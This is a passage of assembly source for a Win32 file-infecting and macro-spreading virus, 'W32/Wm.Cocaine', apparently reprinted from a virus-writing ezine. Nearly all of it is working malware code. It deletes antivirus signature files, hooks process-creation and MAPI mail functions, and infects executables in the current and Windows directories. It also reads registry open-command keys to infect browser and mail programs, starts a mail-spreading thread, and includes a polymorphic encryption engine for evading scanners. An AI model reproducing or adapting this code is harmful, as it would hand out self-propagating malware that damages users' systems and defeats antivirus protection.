@@a1:call DeleteShitFilecall @@a2db 'SIGN.DEF' , 0

@@a2:call DeleteShitFilecall @@a3db 'FIND.DRV' , 0

@@a3:call DeleteShitFilecall @@a4db 'NOD32.000' , 0

@@a4:call DeleteShitFilecall @@a5db 'DSAVIO32.DLL' , 0

@@a5:call DeleteShitFilecall @@a6db 'SCAN.DAT' , 0

@@a6:call DeleteShitFile

Page 170: EZine - Asterix #2

COKE.ASM

call @@a7db 'VIRSCAN.DAT' , 0

@@a7:call DeleteShitFile

call @@a8db 'C:\COCAINE.SRC' , 0

@@a8:call DeleteShitFile

lea ebx , [ ebp+( ofs ancevsys - ofs vcode )]push 83hpush ebxcall [ ebp+( ofs _SetFileAttributesA - ofs vcode )]

lea esi , [ ebp+( ofs current_time - ofs vcode )]push esicall [ ebp+( ofs _GetSystemTime - ofs vcode )]lea edi , [ ebp+( ofs seed - ofs vcode )]sub eax , eaxlodswlodsw ;init seed with dayofweek/daymovsdpush eaxsub al , MONTH_DELAY ;enougth time passed?jnc @@6add al , 12

@@6:cmp by [ ebp+( ofs FunDate - ofs vcode )], almov al , 90hje @@7add al , 0c3h - 90h ;nop/ret flip

@@7:mov by [ ebp+( ofs Payload - ofs vcode )], alpop eaxadd al , MONTH_DELAYaam 12 ;set trigger datemov by [ ebp+( ofs FunDate - ofs vcode )], al

call random0mov [ ebp+( ofs key1 - ofs vcode )], eaxcall random0mov [ ebp+( ofs key2 - ofs vcode )], eax

call macro_crypt ;decript macro stuff

call MacroSpread

call random0add by [ ebp+( ofs macro_key - ofs vcode )], alcall macro_crypt ;encript macro stuff

lea edx , [ ebp+( ofs directory - ofs vcode )]push edxpush MAX_PATHcall [ ebp+( ofs _GetCurrentDirectoryA - ofs vcode )]test eax , eaxjz @@10call ProcessDir

@@10:IF DIRECT EQ TRUE

lea edx , [ ebp+( ofs directory - ofs vcode )]

Page 171: EZine - Asterix #2

COKE.ASM

push MAX_PATHpush edxcall [ ebp+( ofs _GetWindowsDirectoryA - ofs vcode )]test eax , eaxjz @@11call ProcessDir

@@11:; lea edx, [ebp+(ofs directory-ofs vcode)]; push MAX_PATH; push edx; call [ebp+(ofs _GetSystemDirectoryA-ofs vco de)]; test eax, eax; jz @@12; call ProcessDir; @@12:ENDIF

mov esi , [ ebp+( ofs _base - ofs vcode )]@@a:

lea eax , [ ebp+( ofs NewWinExec - ofs vcode )]mov ecx , 0 ;hook per-process functionz

OldWinExec equ dwo $- 4jecxz @@8call PatchIT

@@8:lea eax , [ ebp+( ofs NewCreateProcessA - ofs vcode )]mov ecx , 0

OldCreateProcessA equ dwo $- 4jecxz @@9call PatchIT

@@9:lea eax , [ ebp+( ofs NewMAPISendMail - ofs vcode )]mov ecx , 0

OldMAPISendMail equ dwo $- 4jecxz @@92call PatchIT

@@92:lea eax , [ ebp+( ofs NewGetProcAddress - ofs vcode )]mov ecx , 0

OldGetProcAddress equ dwo $- 4jecxz @@93call PatchIT

@@93:

call Payload@@3:

call deltacmp by [ ebp+( ofs RestoreChunkz - ofs vcode )], FALSEje @@aa

mov edx , MAX_BRANCHlea esi , [ ebp+( ofs rbuf - ofs vcode )]

@@rc1:lodsdadd eax , [ ebp+( ofs _base - ofs vcode )]mov edi , eaxlodsdmov ecx , eaxpushadcall WriteMempopadlea esi , [ esi +ecx ]dec edx

Page 172: EZine - Asterix #2

COKE.ASM

jnz @@rc1

@@aa:mov eax , 365call randomcmp ax , 24jne @sajsjcall GetListlea eax , [ ebp+( ofs directory - ofs vcode )]push eaxcall DeleteShitFile

@sajsj :

call OpenAncevjc @@jdjdlea eax , [ ebp+( ofs cokefile - ofs vcode )]push eaxcall DeleteShitFile

@@jdjd:

mov eax , NUM_TOPICScall randommov eax , [ ebp+( ofs topics - ofs vcode )+( eax * 4)]add eax , ebpmov [ ebp+( ofs subject - ofs vcode )], eax

IF DIRECT EQ TRUEinc dwo [ ebp+( ofs what_key - ofs vcode )]call @@2323db 'SOFTWARE\Classes\htmlfile\shell\open\command' , 0

@@2323:pop eaxcall ConsultKeycall FixKeysub eax , eaxmov dwo [ ebp+( ofs fsizel - ofs vcode )], eaxmov dwo [ ebp+( ofs mm_on_off - ofs vcode )], eaxcall Infect

call @@2324db 'SOFTWARE\Classes\mailto\shell\open\command' , 0

@@2324:pop eaxcall ConsultKeycall FixKeysub eax , eaxmov dwo [ ebp+( ofs fsizel - ofs vcode )], eaxcall Infectdec dwo [ ebp+( ofs what_key - ofs vcode )]

ENDIF

sub eax , eaxlea esi , [ ebp+( ofs thread - ofs vcode )]push esipush eaxpush ebplea esi , [ ebp+( ofs MailThread - ofs vcode )]push esipush eaxpush eaxcall [ ebp+( ofs _CreateThread - ofs vcode )]call http_install

Page 173: EZine - Asterix #2

COKE.ASM

ret2host :pop dwo fs :[ 0] ;restore seh framepop eaxjmp host ;jmp to host

vinit endp

host_entry equ dwo $- 4

seh :mov esp , [ esp +8]jmp ret2host

FixKey procpush - 2pop ecxmov edi , esi

@@0:lodsbcmp al , '"'je @@1test al , aljz @@2cmp al , ' 'jne @@3cmp ecx , - 2je @@2

@@3:stosbjmp @@0

@@1:inc ecxjecxz @@2jmp @@0

@@2:sub eax , eaxstosbret

FixKey endp

cokefile db 'C:\COCAINE.SYS' , 0

init procmov ecx , espcall @@3mov esp , [ esp +8] ;fix stack

@@1:call deltastc ;signal errormov cl , ?org $- 1

@@2:clc ;signal sucesspop dwo fs :[ 0] ;restore seh framesahfadd esp , 4lahfretdb 081h

@@3:sub eax , eaxpush dwo fs :[ eax ]mov fs :[ eax ], esp ;set new seh frame

Page 174: EZine - Asterix #2

COKE.ASM

mov eax , 0 ;is GetModuleHandleA imported?OldGetModuleHandleA equ dwo $- 4

test eax , eaxjz @@5add eax , [ ebp+( ofs _base - ofs vcode )]lea edx , [ ebp+( ofs kernel - ofs vcode )]push edxcall [ eax ] ;use imported API to gettest eax , eax ;kernel32 modulejz @@5mov edx , eaxjmp @@4

@@5:mov eax , 077f00000h ;wNT basepush eaxcall check_basepop edxjz @@4mov eax , 077e00000h ;wNT 5 basepush eaxcall check_basepop edxjz @@4mov eax , 0bff70000h ;w9x basepush eaxcall check_basepop edxjnz @@1

@@4:mov eax , edxmov ebx , eaxcall deltaadd eax , [ eax +3ch ]cmp dwo [ eax ], 'EP'jne @@1add ebx , [ eax +120 ] ;export tablelea eax , [ ebp+( ofs sGetModuleHandle - ofs vcode )]mov dwo [ ebp+( ofs size_search - ofs vcode )], 17mov [ ebp+( ofs string_search - ofs vcode )], eaxcall search_et ;get GetModuleHandlejc @@1mov [ ebp+( ofs _GetModuleHandle - ofs vcode )], eaxlea eax , [ ebp+( ofs sGetProcAddress - ofs vcode )]mov dwo [ ebp+( ofs size_search - ofs vcode )], 15mov [ ebp+( ofs string_search - ofs vcode )], eaxcall search_et ;get GetProcAddressjc @@1mov [ ebp+( ofs _GetProcAddress - ofs vcode )], eaxjmp @@2

init endp

check_base proccall @@1mov esp , [ esp +8]call deltacmp eax , espjmp @@0

@@1:push dwo fs :[ 0]mov fs :[ 0], espcmp wo [ eax ], 'ZM'

@@0:

Page 175: EZine - Asterix #2

COKE.ASM

pop dwo fs :[ 0]pop eaxret

check_base endp

search_et procmov eax , [ ebx +32]add eax , edx ;name table ptr

@@1:mov esi , [ eax ]or esi , esijz @@3 ;nul ptradd esi , edxmov edi , 0

string_search equ dwo $- 4mov ecx , 0

size_search equ dwo $- 4rep cmpsb ;the one we search?jz @@2add eax , 4jmp @@1 ;check next api

@@2:sub eax , [ ebx +32]sub eax , edxshr eax , 1 ;div by 2add eax , [ ebx +36]add eax , edxmovzx eax , wo [ eax ]shl eax , 2 ;mul by 4add eax , [ ebx +28]add eax , edxmov eax , [ eax ]add eax , edxclc ;signal sucessmov cl , 12h

org $- 1@@3:

stc ;signal errorret

search_et endp

gpa_custom procpush eax ;pointer to api wantedpush ebx ;module handlejmp _gpadb 66h

gpa_kernel32 procpush eaxpush dwo [ ebp+( ofs K32 - ofs vcode )]

_gpa :call [ ebp+( ofs _GetProcAddress - ofs vcode )]or eax , eaxjz @@1clcmov cl , 12h

org $- 1@@1:

stcret

gpa_kernel32 endpgpa_custom endp

Page 176: EZine - Asterix #2

COKE.ASM

MAX_RECURSION = 3JMP_MAX = 16MAX_SUBROUTINES= 16

flg record {_key : 1, ;1key isnt necessary ;4_encriptor : 2 ;XOR = 00

;NOT = 01;ADD = 10;SUB = 11 ;23

_bwd_fwd : 1, ;0inc/1dec counter ;1_direction : 1, ;1backward/0forward ;0

}

pushfdb 09ah

poly proc ;encripted in memory!push esimov [ ebp+( ofs entry - ofs vcode )], eaxmov [ ebp+( ofs buffer - ofs vcode )], edimov [ ebp+( ofs _size - ofs vcode )], ecx ;save entry valuessub eax , eaxmov [ ebp+( ofs reg32 - ofs vcode )], eaxmov [ ebp+( ofs recurse - ofs vcode )], eax ;init internal varsmov [ ebp+( ofs lparm - ofs vcode )], eaxmov [ ebp+( ofs lvars - ofs vcode )], eaxmov [ ebp+( ofs subs_index - ofs vcode )], eaxmov [ ebp+( ofs s_into - ofs vcode )], eax ;(dword)call random0and eax , mask _bwd_fwd + mask _direction + mask _encriptormov [ ebp+( ofs flagz - ofs vcode )], eax ;set engine flagzmov edx , eaxand edx , 11bcall random0mov [ ebp+( ofs key - ofs vcode )], al ;choose keylea ebx , [ ebp+( ofs crypt_table - ofs vcode )]test edx , 10bjz @@0add ebx , 6 ;next table

@@0:test edx , 01bjz @@1add ebx , 3 ;second choice

@@1:mov ax , wo [ ebx ]mov [ ebp+( ofs _dec - ofs vcode )], axmov al , by [ ebx +2]mov [ ebp+( ofs _enc - ofs vcode )], aldec edxjnz @@2mov by [ ebp+( ofs key - ofs vcode )], 0D0h ;not dont use keybts dwo [ ebp+( ofs flagz - ofs vcode )], 6 ;(mask _key)

@@2:jmp @@3 ;flush piq

@@3:lodsb

_enc db 00key db 00

stosbloop @@3 ;crypt code

Page 177: EZine - Asterix #2

COKE.ASM

mov eax , 64call randommov ecx , eaxcall _shitmov [ ebp+( ofs decriptor - ofs vcode )], edi ;here the decriptor startcall garble ;start of decriptorlea ebx , [ ebp+( ofs make_counter - ofs vcode )]lea edx , [ ebp+( ofs make_pointer - ofs vcode )]call swapper ;setup start of poly decriptorpush edi ;loop start herecall garblemov eax , [ ebp+( ofs _dec - ofs vcode )]mov edx , [ ebp+( ofs p_reg - ofs vcode )]or ah, dlstosw ;store crypt instrbt dwo [ ebp+( ofs flagz - ofs vcode )], 6 ;(mask _key)jc @@4mov al , by [ ebp+( ofs key - ofs vcode )]stosb ;store key

@@4:call garblelea ebx , [ ebp+( ofs upd_counter - ofs vcode )]lea edx , [ ebp+( ofs upd_pointer - ofs vcode )]call swapper ;update counter and pointermov edx , [ ebp+( ofs c_reg - ofs vcode )]call randomjc @@5call randomjs @@7mov eax , 0c00bh ;or reg, regjmp @@8

@@7:mov eax , 0c085h ;test reg, reg

@@8:mov ecx , edxshl edx , 3or ah, dlor ah, clstoswjmp @@6

@@5:mov eax , 0f883hor ah, dlstosw ;cmp reg, 0sub eax , eaxstosb

@@6:mov ax , 850fh ;do conditional jumpstoswpop edxsub edx , edi ;delta distancesub edx , 4mov eax , edxstosd ;jnz start_of_loopmov dwo [ ebp+( ofs reg32 - ofs vcode )], 0call garblemov al , 0e9hstosb ;jmp startmov eax , edisub eax , [ ebp+( ofs buffer - ofs vcode )]sub eax , [ ebp+( ofs entry - ofs vcode )]add eax , 4

Page 178: EZine - Asterix #2

COKE.ASM

neg eaxstosdcall garblecall garblemov ecx , [ ebp+( ofs buffer - ofs vcode )] ;(this allow the calls besub edi , ecx ;forward/backward direction)xchg edi , ecxmov eax , [ ebp+( ofs decriptor - ofs vcode )] ;calculate new entrypointsub eax , [ ebp+( ofs buffer - ofs vcode )] ;relative to previous rvapop esiret

poly endp

gar proccall random0 ;get any regand eax , 0111bcmp al , 4 ;esp neverje garret

gar endp

get8free procmov eax , [ ebp+( ofs reg32 - ofs vcode )]and eax , 01111bcmp eax , 01111bjne @@1stcret

@@1:call random0and eax , 011bbt [ ebp+( ofs reg32 - ofs vcode )], eax ;al,cl,dl,bljc get8freecall random_fjc @@2or al , 0100b ;ah,ch,dh,bh

@@2:ret

get8free endp

get32reg proc ;get a free 32bit regcall gar ;and mark it as usedbts [ ebp+( ofs reg32 - ofs vcode )], eaxjc get32regret

get32reg endp

get32free proc ;get a free 32bit regcall gar ;and NOT mark it as usedbt [ ebp+( ofs reg32 - ofs vcode )], eaxjc get32freeret

get32free endp

swapper proccall random0jc @@1xchg edx , ebx ;change order

@@1:push edxcall ebx ;call 1thcall garble

Page 179: EZine - Asterix #2

COKE.ASM

pop edxcall edx ;call 2thcall garbleret

swapper endp

make_counter proccall get32regmov [ ebp+( ofs c_reg - ofs vcode )], eaxcmp al , 5 ;ebp complicate methodzjne @@2btr [ ebp+( ofs reg32 - ofs vcode )], eax ;free ebpjmp make_counter

@@2:or al , 0b8hstosbmov eax , [ ebp+( ofs _size - ofs vcode )]test dwo [ ebp+( ofs flagz - ofs vcode )], mask _bwd_fwdjnz @@1neg eax ;counter will be INCed

@@1:stosdret

make_counter endp

make_pointer proccall get32regcmp al , 5 ;ebp complicate methodzjne @@1btr [ ebp+( ofs reg32 - ofs vcode )], eax ;free ebpjmp make_pointer

@@1:mov [ ebp+( ofs p_reg - ofs vcode )], eaxor al , 0b8hstosbmov eax , [ ebp+( ofs rva - ofs vcode )]test dwo [ ebp+( ofs flagz - ofs vcode )], mask _directionjz @@2add eax , dwo [ ebp+( ofs _size - ofs vcode )] ;pointer will be DECceddec eax

@@2:stosdret

make_pointer endp

upd_pointer :mov eax , [ ebp+( ofs p_reg - ofs vcode )]test dwo [ ebp+( ofs flagz - ofs vcode )], mask _directionjmp _update_reg

upd_counter :mov eax , [ ebp+( ofs c_reg - ofs vcode )]test dwo [ ebp+( ofs flagz - ofs vcode )], mask _bwd_fwd

_update_reg proc ;z=inc/nz=decmov ebx , 0140h ;incmov edx , 0c083h ;addjz @@0xor edx , 0c083h xor 0e883h ;submov bl , 48h ;dec

@@0:push eax

Page 180: EZine - Asterix #2

COKE.ASM

mov eax , 3call randomor eax , eaxjz @@2 ;choose methoddec eaxjz @@1xor edx , 0c083h xor 0e883h ;sub<->addneg bh ;neg(1)

@@1:pop ecxmov eax , edxor ah, cl ;patch regstoswmovzx eax , bh ;signaljmp @@3

@@2:pop ecxxchg eax , ebxor al , cl ;patch reg

@@3:stosbret

_update_reg endp

garble procpushadinc by [ ebp+( ofs recurse - ofs vcode )]cmp by [ ebp+( ofs recurse - ofs vcode )], MAX_RECURSIONjae @@1mov eax , 8call randomadd eax , 4mov ecx , eax ;4-11 instructionz

@@0:push ecxlea esi , [ ebp+( ofs gtable - ofs vcode )]mov eax , ( ofs egtable - ofs gtable )/ 4call randomshl eax , 2add esi , eaxlodsdadd eax , ebpcmp by [ ebp+( ofs lgarble - ofs vcode )], alje @@2 ;same?mov by [ ebp+( ofs lgarble - ofs vcode )], alcall eax

@@2:pop ecxloop @@0

@@1:dec by [ ebp+( ofs recurse - ofs vcode )]mov [ esp ], edi ;copy of edi in stackpopadret

garble endp

make_subs proccmp by [ ebp+( ofs s_into - ofs vcode )], 0jne @@1cmp dwo [ ebp+( ofs subs_index - ofs vcode )], MAX_SUBROUTINESja @@1inc by [ ebp+( ofs s_into - ofs vcode )] ;mark into

Page 181: EZine - Asterix #2

COKE.ASM

mov eax , [ ebp+( ofs subs_index - ofs vcode )]inc dwo [ ebp+( ofs subs_index - ofs vcode )]mov ecx , 6cdqmul ecxlea esi , [ ebp+eax +( ofs subs_table - ofs vcode )]mov al , 0e9hstosbstosdpush edi ;[esp]-4 = skip_jmpcall garblemov [ esi ], edi ;where sub ismov eax , 5call random ;number of paramz pushedmov [ esi.4 ], al ;by callermov eax , 5call random ;number of local variablesmov [ esi.5 ], altest eax , eax ;if not local variables, thenjz @@0 ;dont alloc stackmov ebx , eaxshl ebx , 2 ;displacement in dwordsmov al , 0c8hstosb ;entermov eax , ebxstosd ;size/deepdec edijmp @@2

@@0:mov al , 55hstosb ;push ebpmov ax , 0ec8bhstosw ;mov ebp, esp

@@2:push dwo [ ebp+( ofs reg32 - ofs vcode )] ;save reg statemov by [ ebp+( ofs _pusha - ofs vcode )], 0 ;no use pusha at startmov eax , 3call randomtest eax , eaxje @@4 ;will use PUSHA!

@@10:call random0 ;choose regsand eax , 11111111bor eax , 00110000b ;set EBP and ESP toocmp al , - 1jz @@10mov [ ebp+( ofs reg32 - ofs vcode )], eaxand eax , 11001111bnot al ;free regs are set bits now!test eax , eaxjz @@10

@@5:bsf edx , eaxjz @@6 ;no more regs free?btc eax , edx ;clear itcmp dl , 4je @@5cmp dl , 5 ;ebp-esp dont need be savedje @@5push eaxmov eax , edx ;get positionor al , 50h

Page 182: EZine - Asterix #2

COKE.ASM

stosb ;store as PUSHpop eaxjmp @@5

@@4:mov by [ ebp+( ofs _pusha - ofs vcode )], - 1 ;pusha used!mov dwo [ ebp+( ofs reg32 - ofs vcode )], 00110000bmov al , 60h ;set EBP and ESP as usedstosb ;pusha

@@6:movzx eax , by [ esi.4 ]mov [ ebp+( ofs lparm - ofs vcode )], eaxmovzx eax , by [ esi.5 ]mov [ ebp+( ofs lvars - ofs vcode )], eax ;set paramz to mem write/readcall garblecall garblecall garblexor eax , eaxmov [ ebp+( ofs lparm - ofs vcode )], eax ;disable mem write/readmov [ ebp+( ofs lvars - ofs vcode )], eaxmov al , [ ebp+( ofs _pusha - ofs vcode )]inc aljnz @@7 ;well, do individual POPsmov al , 61hstosb ;POPAjmp @@8

@@7:mov eax , [ ebp+( ofs reg32 - ofs vcode )]and eax , 11001111bnot al ;free regs are set bits now!

@@9:bsr edx , eaxjz @@8 ;no more regs free?btc eax , edx ;clear itcmp dl , 4je @@9cmp dl , 5 ;ebp-esp dont need be restoredje @@9push eaxmov eax , edx ;get positionor al , 58hstosb ;store as POP this timepop eaxjmp @@9

@@8:pop dwo [ ebp+( ofs reg32 - ofs vcode )] ;restore reg state

@@3:mov al , 0c9hstosb ;leavemov al , 0c2hstosb ;retmovzx eax , by [ esi.4 ]shl eax , 2test eax , eaxjz @@astosw ;clean paramsjmp @@b

@@a:mov by [ edi - 1], 0c3h ;no paramz, use RETN

@@b:call garblepop esimov ecx , edi

Page 183: EZine - Asterix #2

COKE.ASM

sub ecx , esi ;distancemov [ esi - 4], ecx ;patch jmpdec by [ ebp+( ofs s_into - ofs vcode )]

@@1:ret

make_subs endp

make_call proccmp by [ ebp+( ofs s_into - ofs vcode )], 0jne @@1 ;cant call while creating submov eax , [ ebp+( ofs subs_index - ofs vcode )]test eax , eaxjz @@1call random ;choose one of the subs readymov ecx , 6cdqmul ecxlea esi , [ ebp+eax +( ofs subs_table - ofs vcode )]movzx ecx , by [ esi.4 ]jecxz @@2 ;how much paramz it need?

@@3:call garor al , 50h ;push paramzstosbloop @@3

@@2:mov al , 0e8hstosb ;build callmov eax , dwo [ esi ]sub eax , edisub eax , 4stosd ;store displacement

@@1:ret

make_call endp

lea_dword procmov al , 8dhstosbcall get32freeshl eax , 3push eaxcall garpop edxor eax , edxor al , 80hstosbcall random0stosdret

lea_dword endp

math_byte procmov eax , 8call randomshl eax , 3or eax , 1000000011000000b ;make math operationpush eaxcall get8freepop edxjc @@1or eax , edx

Page 184: EZine - Asterix #2

COKE.ASM

xchg al , ahstoswcall random0stosb ;byte

@@1:ret

math_byte endp

math_word procmov ax , 8166hstoswcall _math_immstoswret

math_word endp

math_dword procmov al , 81hstosbcall _math_immstosdret

math_dword endp

_math_imm procmov eax , 8call randomshl eax , 3or al , 11000000bpush eaxcall get32freepop edxor eax , edx ;patch reg intostosbcall random0ret

_math_imm endp

push_pop proccall garor al , 50hstosbcall garble ;recurse intocall get32freeor al , 58hstosbret

push_pop endp

jmpcn procmov eax , 0fhcall randomor ax , 0f80h ;jcc nearxchg al , ahstoswstosdpush edicall garble ;recursepop esimov eax , edisub eax , esimov dwo [ esi - 4], eax ;fix jcc

Page 185: EZine - Asterix #2

COKE.ASM

retjmpcn endp

jmpcs procmov eax , 0fhcall randomor al , 70h ;make jmp conditionalstoswpush edicall garble ;recursepop esipush edimov eax , esixchg eax , edisub eax , edimov by [ esi - 1], al ;fix jccor al , aljns @@1 ;jmp destiny too far?mov edi , esidec edidec edicall one_byte ;replace with 2 byte instrcall one_byte

@@1:pop ediret

jmpcs endp

jmpn procmov al , 0e9hstosbmov eax , JMP_MAXcall randominc eaxmov ecx , eaxstosdjmp _shit

jmpn endp

jmps procmov eax , JMP_MAXcall randominc eaxmov ecx , eaxmov ah, 0ebhxchg al , ahstoswmovzx eax , ah

_shit :call random0 ;ecx bytes of shitstosbloop _shitret

jmps endp

movr_byte proccall garpush eaxcall get8freejnc @@1pop eaxret

Page 186: EZine - Asterix #2

COKE.ASM

@@1:push eaxmov al , 08ahjmp _reg_reg

movr_byte endp

movr_word procmov al , 66h ;word-size prefixstosb

movr_word endp

movr_dword proccall garpush eaxcall get32freepush eaxmov al , 08bh

_reg_reg :stosbpop eax ;destinopop edx ;sourceshl eax , 3or eax , edxor eax , 11000000bstosbret

movr_dword endp

mov_dword proccall get32freeor al , 0b8hstosbcall random0stosdret

mov_dword endp

mov_word procmov al , 66hstosbcall get32freeor al , 0b8hstosbcall random0stoswret

mov_word endp

mov_byte proccall get8freejc @@1or al , 0b0hstosbcall random0stosb

@@1:ret

mov_byte endp

one_byte procmov eax , 5call random

Page 187: EZine - Asterix #2

COKE.ASM

lea ebx , [ ebp+( ofs one_byte_table - ofs vcode )]xlatstosbret

one_byte endp

inc_dec proccall get32freeadd al , 40hcall random_fjs @@1or al , 01000b ;inc/dec

@@1:stosbret

inc_dec endp

mov_zs_x proccall random0mov eax , 0b60fhjs @@1mov ah, 0beh ;z/s

@@1:adc ah, 0 ;16/8stoswcall garpush eaxcall get32freeshl eax , 3pop edxor eax , edxor al , 0c0hstosbret

mov_zs_x endp

one_byte_table equ this bytestdclccmccldstd

crypt_table equ this bytedb 080h , 030h , 034h ;xordb 0f6h , 010h , 0f6h ;notdb 080h , 000h , 02ch ;adddb 080h , 028h , 004h ;sub

gtable equ this bytedd ofs jmpcn - ofs vcodedd ofs jmpcs - ofs vcodedd ofs jmpn - ofs vcodedd ofs jmps - ofs vcodedd ofs one_byte - ofs vcodedd ofs push_pop - ofs vcodedd ofs push_pop - ofs vcodedd ofs push_pop - ofs vcodedd ofs push_pop - ofs vcodedd ofs inc_dec - ofs vcodedd ofs inc_dec - ofs vcodedd ofs mov_zs_x - ofs vcode

Page 188: EZine - Asterix #2

COKE.ASM

dd ofs mov_zs_x - ofs vcodedd ofs math_word - ofs vcodedd ofs math_word - ofs vcodedd ofs movr_word - ofs vcodedd ofs movr_word - ofs vcodedd ofs mov_word - ofs vcodedd ofs mov_word - ofs vcodedd ofs movr_byte - ofs vcodedd ofs movr_byte - ofs vcodedd ofs movr_byte - ofs vcodedd ofs math_byte - ofs vcodedd ofs math_byte - ofs vcodedd ofs math_byte - ofs vcodedd ofs mov_byte - ofs vcodedd ofs mov_byte - ofs vcodedd ofs mov_byte - ofs vcodedd ofs math_dword - ofs vcodedd ofs math_dword - ofs vcodedd ofs math_dword - ofs vcodedd ofs math_dword - ofs vcodedd ofs math_dword - ofs vcodedd ofs math_dword - ofs vcodedd ofs mov_dword - ofs vcodedd ofs mov_dword - ofs vcodedd ofs mov_dword - ofs vcodedd ofs mov_dword - ofs vcodedd ofs mov_dword - ofs vcodedd ofs mov_dword - ofs vcodedd ofs movr_dword - ofs vcodedd ofs movr_dword - ofs vcodedd ofs movr_dword - ofs vcodedd ofs movr_dword - ofs vcodedd ofs movr_dword - ofs vcodedd ofs movr_dword - ofs vcodedd ofs lea_dword - ofs vcodedd ofs lea_dword - ofs vcodedd ofs lea_dword - ofs vcodedd ofs lea_dword - ofs vcodedd ofs lea_dword - ofs vcodedd ofs lea_dword - ofs vcodedd ofs mov_dword - ofs vcodedd ofs mov_dword - ofs vcodedd ofs mov_dword - ofs vcodedd ofs mov_dword - ofs vcodedd ofs mov_dword - ofs vcodedd ofs mov_dword - ofs vcodedd ofs movr_dword - ofs vcodedd ofs movr_dword - ofs vcodedd ofs movr_dword - ofs vcodedd ofs movr_dword - ofs vcodedd ofs movr_dword - ofs vcodedd ofs movr_dword - ofs vcodedd ofs lea_dword - ofs vcodedd ofs lea_dword - ofs vcodedd ofs lea_dword - ofs vcodedd ofs lea_dword - ofs vcodedd ofs lea_dword - ofs vcodedd ofs lea_dword - ofs vcode

egtable equ this byte ;end of in-memory encripted part

title1 db 'W32/Wm.Cocaine' , 0

Page 189: EZine - Asterix #2

COKE.ASM

text0 db 'Your life burn faster, obey your master...' , 0text1 db 'Chop your breakfast on a mirror...' , 0text2 db 'Veins that pump with fear, sucking darkest clear.. .' , 0text3 db 'Taste me you will see, more is all you need...' , 0text4 db 'I will occupy, I will help you die...' , 0text5 db 'I will run through you, now I rule you too...' , 0text6 db "Master of Puppets, I'm pulling your strings..." , 0

text_table equ this bytedd ofs text0 - ofs vcodedd ofs text1 - ofs vcodedd ofs text2 - ofs vcodedd ofs text3 - ofs vcodedd ofs text4 - ofs vcodedd ofs text5 - ofs vcodedd ofs text6 - ofs vcode

Payload :nop ;on/off switchsub ecx , ecxpush ecxlea eax , [ ebp+( ofs title1 - ofs vcode )]push eaxmov eax , 7call randommov eax , [ ebp+( ofs text_table - ofs vcode )+ eax * 4]add eax , ebppush eax ;silly MessageBox payloadpush ecxcall [ ebp+( ofs _MessageBoxA - ofs vcode )]ret

kernel db 'KERNEL32' , 0user db 'USER32' , 0mapi db 'MAPI32' , 0

align 4

sGetProcAddress db 'GetProcAddress' , 0 ;APIs from kernel32.dll thatsGetModuleHandle db 'GetModuleHandleA' , 0 ;we needsCreateProcessA db 'CreateProcessA' , 0sCreateFileA db 'CreateFileA' , 0sWinExec db 'WinExec' , 0sCloseHandle db 'CloseHandle' , 0 ;api names, related to other 2sLoadLibraryA db 'LoadLibraryA' , 0sFreeLibrary db 'FreeLibrary' , 0sCreateFileMappingA db 'CreateFileMappingA' , 0sMapViewOfFile db 'MapViewOfFile' , 0sUnmapViewOfFile db 'UnmapViewOfFile' , 0sFindFirstFileA db 'FindFirstFileA' , 0sFindNextFileA db 'FindNextFileA' , 0sFindClose db 'FindClose' , 0sSetEndOfFile db 'SetEndOfFile' , 0sVirtualAlloc db 'VirtualAlloc' , 0sVirtualFree db 'VirtualFree' , 0sGetSystemTime db 'GetSystemTime' , 0sGetWindowsDirectoryA db 'GetWindowsDirectoryA' , 0sGetSystemDirectoryA db 'GetSystemDirectoryA' , 0sGetCurrentDirectoryA db 'GetCurrentDirectoryA' , 0sSetFileAttributesA db 'SetFileAttributesA' , 0sSetFileTime db 'SetFileTime' , 0

Page 190: EZine - Asterix #2

COKE.ASM

sExitProcess db 'ExitProcess' , 0sGetCurrentProcess db 'GetCurrentProcess' , 0sWriteProcessMemory db 'WriteProcessMemory' , 0sWriteFile db 'WriteFile' , 0sDeleteFileA db 'DeleteFileA' , 0sSleep db 'Sleep' , 0sCreateThread db 'CreateThread' , 0sGetFileSize db 'GetFileSize' , 0sSetFilePointer db 'SetFilePointer' , 0

sMessageBoxA db 'MessageBoxA' , 0 ;USER32 functionzsFindWindowA db 'FindWindowA' , 0sPostMessageA db 'PostMessageA' , 0

sMAPISendMail db 'MAPISendMail' , 0

ConsultKey proccall @@1

@@1vdd 0@@1:

push 000F003Fh ;KEY_ALL_ACCESSpush 0push eax

push 80000001Hwhat_key equ dwo $- 4

call [ ebp+( ofs _RegOpenKeyEx - ofs vcode )]test eax , eaxjnz @@0call @@3dd 0

@@3:mov edx , [ esp ]mov dwo [ edx ], MAX_PATHlea eax , [ ebp+( ofs directory - ofs vcode )]mov esi , eaxmov [ eax ], eaxpush eaxpush 0push 0call @@4db 0

@@4:push dwo [ ebp+( ofs @@1v- ofs vcode )]call [ ebp+( ofs _RegQueryValueEx - ofs vcode )]push dwo [ ebp+( ofs @@1v- ofs vcode )]call [ ebp+( ofs _RegCloseKey - ofs vcode )] ;close key

@@0:ret

ConsultKey endp

align 4

k32_names equ this bytedd ( ofs sCreateProcessA - ofs vcode )dd ( ofs sCreateFileA - ofs vcode ) ;these are relative pointerzdd ( ofs sWinExec - ofs vcode ) ;to namez... zero end listdd ( ofs sCloseHandle - ofs vcode )dd ( ofs sLoadLibraryA - ofs vcode )dd ( ofs sFreeLibrary - ofs vcode )dd ( ofs sCreateFileMappingA - ofs vcode )dd ( ofs sMapViewOfFile - ofs vcode )

Page 191: EZine - Asterix #2

COKE.ASM

dd ( ofs sUnmapViewOfFile - ofs vcode )dd ( ofs sFindFirstFileA - ofs vcode )dd ( ofs sFindNextFileA - ofs vcode )dd ( ofs sFindClose - ofs vcode )dd ( ofs sSetEndOfFile - ofs vcode )dd ( ofs sVirtualAlloc - ofs vcode )dd ( ofs sVirtualFree - ofs vcode )dd ( ofs sGetSystemTime - ofs vcode )dd ( ofs sGetWindowsDirectoryA - ofs vcode )dd ( ofs sGetSystemDirectoryA - ofs vcode )dd ( ofs sGetCurrentDirectoryA - ofs vcode )dd ( ofs sSetFileAttributesA - ofs vcode )dd ( ofs sSetFileTime - ofs vcode )dd ( ofs sExitProcess - ofs vcode )dd ( ofs sGetCurrentProcess - ofs vcode )dd ( ofs sWriteProcessMemory - ofs vcode )dd ( ofs sWriteFile - ofs vcode )dd ( ofs sDeleteFileA - ofs vcode )dd ( ofs sSleep - ofs vcode )dd ( ofs sCreateThread - ofs vcode )dd ( ofs sGetFileSize - ofs vcode )dd ( ofs sSetFilePointer - ofs vcode )dd 0dd ( ofs sMessageBoxA - ofs vcode )dd ( ofs 